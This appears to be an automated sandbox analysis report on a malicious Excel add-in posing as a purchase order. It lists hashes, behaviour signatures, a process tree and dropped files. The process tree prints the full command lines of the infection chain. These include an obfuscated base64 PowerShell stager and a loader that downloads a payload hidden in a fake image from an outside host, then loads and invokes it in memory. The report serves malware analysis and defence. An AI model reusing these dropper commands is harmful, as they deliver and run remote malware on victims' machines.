Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    20-08-2023 11:29

General

  • Target

    #Orden de Compra 20181.xlam

  • Size

    664KB

  • MD5

    da934aec1578872bae77e7b1817d873b

  • SHA1

    5d34963d15fe717916c213f96effdb49cb8058fb

  • SHA256

    c4c24eb056243059da37e882d660db6e775af54b7ce316a3ade90605e108ba91

  • SHA512

    3b62dfacee6d85607801ef73468a8795663bc30717a6d099d12b7296adaf7d6ab59a86dce18bf06258fef4165ce5cda96b2d947e9364914dd2baeef6aa40c936

  • SSDEEP

    12288:MXZ4V1mw2Q35FGfY7oNnitgONX4tx6hqmdMWj7hHY3YTWjGL0nDic9GL:mQ1mw2Ywfzit5NX4mheAK38L+DQL

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129

exe.dropper

https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\#Orden de Compra 20181.xlam"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1176
  • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
    "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
    1⤵
    • Blocklisted process makes network request
    • Launches Equation Editor
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\oreegen.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2152
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DU#@$#OQ#@$#v#@$#DU#@$#MQ#@$#w#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#cgB1#@$#G0#@$#c#@$#Bf#@$#H#@$##@$#cgBp#@$#HY#@$#YQB0#@$#GU#@$#LgBq#@$#H#@$##@$#Zw#@$#/#@$#DE#@$#Ng#@$#5#@$#D#@$##@$#NQ#@$#w#@$#DQ#@$#MQ#@$#y#@$#Dk#@$#Jw#@$#7#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#I#@$##@$#9#@$#C#@$##@$#TgBl#@$#Hc#@$#LQBP#@$#GI#@$#agBl#@$#GM#@$#d#@$##@$#g#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#TgBl#@$#HQ#@$#LgBX#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#7#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$##@$#k#@$#Hc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#C4#@$#R#@$#Bv#@$#Hc#@$#bgBs#@$#G8#@$#YQBk#@$#EQ#@$#YQB0#@$#GE#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBV#@$#HI#@$#b#@$##@$#p#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#EU#@$#bgBj#@$#G8#@$#Z#@$#Bp#@$#G4#@$#ZwBd#@$#Do#@$#OgBV#@$#FQ#@$#Rg#@$#4#@$#C4#@$#RwBl#@$#HQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBC#@$#Hk#@$#d#@$#Bl#@$#HM#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBT#@$#FQ#@$#QQBS#@$#FQ#@$#Pg#@$#+#@$#Cc#@$#Ow#@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBF#@$#E4#@$#R#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C4#@$#SQBu#@$#GQ#@$#ZQB4#@$#E8#@$#Zg#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bl#@$#G4#@$#Z#@$#BG#@$#Gw#@$#YQBn#@$#Ck#@$#Ow#@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#ZQ#@$#g#@$#D#@$##@$#I#@$##@$#t#@$#GE#@$#bgBk#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#d#@$##@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#Cs#@$#PQ#@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#LgBM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#7#@$#CQ#@$#YgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#T#@$#Bl#@$#G4#@$#ZwB0#@$#Gg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBT#@$#HU#@$#YgBz#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#s#@$#C#@$##@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#p#@$#Ds#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#QwBv#@$#G4#@$#dgBl#@$#HI#@$#d#@$#Bd#@$#Do#@$#OgBG#@$#HI#@$#bwBt#@$#EI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#FM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#Ck#@$#Ow#@$#k#@$#Gw#@$#bwBh#@$#GQ#@$#ZQBk#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQ#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#UgBl#@$#GY#@$#b#@$#Bl#@$#GM#@$#d#@$#Bp#@$#G8#@$#bg#@$#u#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQBd#@$#Do#@$#OgBM#@$#G8#@$#YQBk#@$#Cg#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C4#@$#RwBl#@$#HQ#@$#V#@$#B5#@$#H#@$##@$#ZQ#@$#o#@$#Cc#@$#RgBp#@$#GI#@$#ZQBy#@$#C4#@$#S#@$#Bv#@$#G0#@$#ZQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#d#@$#B5#@$#H#@$##@$#ZQ#@$#u#@$#Ec#@$#ZQB0#@$#E0#@$#ZQB0#@$#Gg#@$#bwBk#@$#Cg#@$#JwBW#@$#EE#@$#SQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#C#@$##@$#PQ#@$#g#@$#Cw#@$#K#@$##@$#n#@$#HQ#@$#e#@$#B0#@$#C4#@$#N#@$##@$#2#@$#GU#@$#cwBh#@$#GI#@$#MgBh#@$#G0#@$#YQBw#@$#GE#@$#Lw#@$#0#@$#DI#@$#Lg#@$#w#@$#DI#@$#MQ#@$#u#@$#Dg#@$#Nw#@$#x#@$#C4#@$#NQ#@$#5#@$#DE#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2916
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46esab2amapa/42.021.871.591//:ptth');$method.Invoke($null, $arguments)"
          4⤵
          • Blocklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2896

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    6341e39e9842fe20f495e1f11b2d0bde

    SHA1

    7125eaf62e2806603fce86bae1842566d541195a

    SHA256

    a14c002140957b84ef09167dc2d964a1634751c5431d6ef8d7e1586c93d99f51

    SHA512

    1e9b7b3a57e866b600e9c0217f64900cf55f7cc8af659d52c96b1dbb0f237ad258c2b04a3b39c7886da34af4be95b78ef6eadbc73458ef2d4a47ab38030bd9ed

  • C:\Users\Admin\AppData\Local\Temp\CabF4AD.tmp

    Filesize

    62KB

    MD5

    3ac860860707baaf32469fa7cc7c0192

    SHA1

    c33c2acdaba0e6fa41fd2f00f186804722477639

    SHA256

    d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

    SHA512

    d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

  • C:\Users\Admin\AppData\Local\Temp\TarF6C3.tmp

    Filesize

    164KB

    MD5

    4ff65ad929cd9a367680e0e5b1c08166

    SHA1

    c0af0d4396bd1f15c45f39d3b849ba444233b3a2

    SHA256

    c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

    SHA512

    f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4SUZ64DMDPY77CJ8IW39.temp

    Filesize

    7KB

    MD5

    e0b8a8aa7b8d124ade202d29fc95a7db

    SHA1

    1c0a2b4355c0449ccbef482428c3b1b08631efc3

    SHA256

    5220ef1651e96713659a78f8cf76dfc4563ed3c2524e5165ba69d73cc938523c

    SHA512

    f5c987f96667b4f3487321e251fc69411eaa9d3d0c7c57913e4fa80ccd803f61040a71b46a5a45022da81b82a267193aeb77f2ec2636ff1dd7b42ec8f9f1b76a

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    e0b8a8aa7b8d124ade202d29fc95a7db

    SHA1

    1c0a2b4355c0449ccbef482428c3b1b08631efc3

    SHA256

    5220ef1651e96713659a78f8cf76dfc4563ed3c2524e5165ba69d73cc938523c

    SHA512

    f5c987f96667b4f3487321e251fc69411eaa9d3d0c7c57913e4fa80ccd803f61040a71b46a5a45022da81b82a267193aeb77f2ec2636ff1dd7b42ec8f9f1b76a

  • C:\Users\Admin\AppData\Roaming\oreegen.vbs

    Filesize

    230KB

    MD5

    dbfd1575e0be01195aed9cc6a14f0fd6

    SHA1

    2874912d44a6c6cf4d0edd8a022c6e6e6229f095

    SHA256

    dc58edab1b0210c03517739ec1ab2a4ca7d85b0d0a1b43e2edee9ba4b388ea02

    SHA512

    5167572dc53673ca62247fe5570e88e636ad91e3215ab2c0a6e3bef170c7b0105437af9a25e19388e0c0f71a631238570f42725ef26775b850c1bdf4ea5be3a3

  • C:\Users\Admin\AppData\Roaming\oreegen.vbs

    Filesize

    230KB

    MD5

    dbfd1575e0be01195aed9cc6a14f0fd6

    SHA1

    2874912d44a6c6cf4d0edd8a022c6e6e6229f095

    SHA256

    dc58edab1b0210c03517739ec1ab2a4ca7d85b0d0a1b43e2edee9ba4b388ea02

    SHA512

    5167572dc53673ca62247fe5570e88e636ad91e3215ab2c0a6e3bef170c7b0105437af9a25e19388e0c0f71a631238570f42725ef26775b850c1bdf4ea5be3a3

  • memory/1176-53-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1176-54-0x000000007365D000-0x0000000073668000-memory.dmp

    Filesize

    44KB

  • memory/1176-155-0x000000007365D000-0x0000000073668000-memory.dmp

    Filesize

    44KB

  • memory/1176-154-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1176-68-0x000000007365D000-0x0000000073668000-memory.dmp

    Filesize

    44KB

  • memory/2896-75-0x000000006C130000-0x000000006C6DB000-memory.dmp

    Filesize

    5.7MB

  • memory/2896-76-0x00000000027F0000-0x0000000002830000-memory.dmp

    Filesize

    256KB

  • memory/2896-77-0x000000006C130000-0x000000006C6DB000-memory.dmp

    Filesize

    5.7MB

  • memory/2896-78-0x00000000027F0000-0x0000000002830000-memory.dmp

    Filesize

    256KB

  • memory/2896-151-0x000000006C130000-0x000000006C6DB000-memory.dmp

    Filesize

    5.7MB

  • memory/2916-69-0x0000000002670000-0x00000000026B0000-memory.dmp

    Filesize

    256KB

  • memory/2916-97-0x000000006C130000-0x000000006C6DB000-memory.dmp

    Filesize

    5.7MB

  • memory/2916-67-0x0000000002670000-0x00000000026B0000-memory.dmp

    Filesize

    256KB

  • memory/2916-66-0x000000006C130000-0x000000006C6DB000-memory.dmp

    Filesize

    5.7MB

  • memory/2916-152-0x000000006C130000-0x000000006C6DB000-memory.dmp

    Filesize

    5.7MB

  • memory/2916-65-0x000000006C130000-0x000000006C6DB000-memory.dmp

    Filesize

    5.7MB

  • memory/2916-64-0x000000006C130000-0x000000006C6DB000-memory.dmp

    Filesize

    5.7MB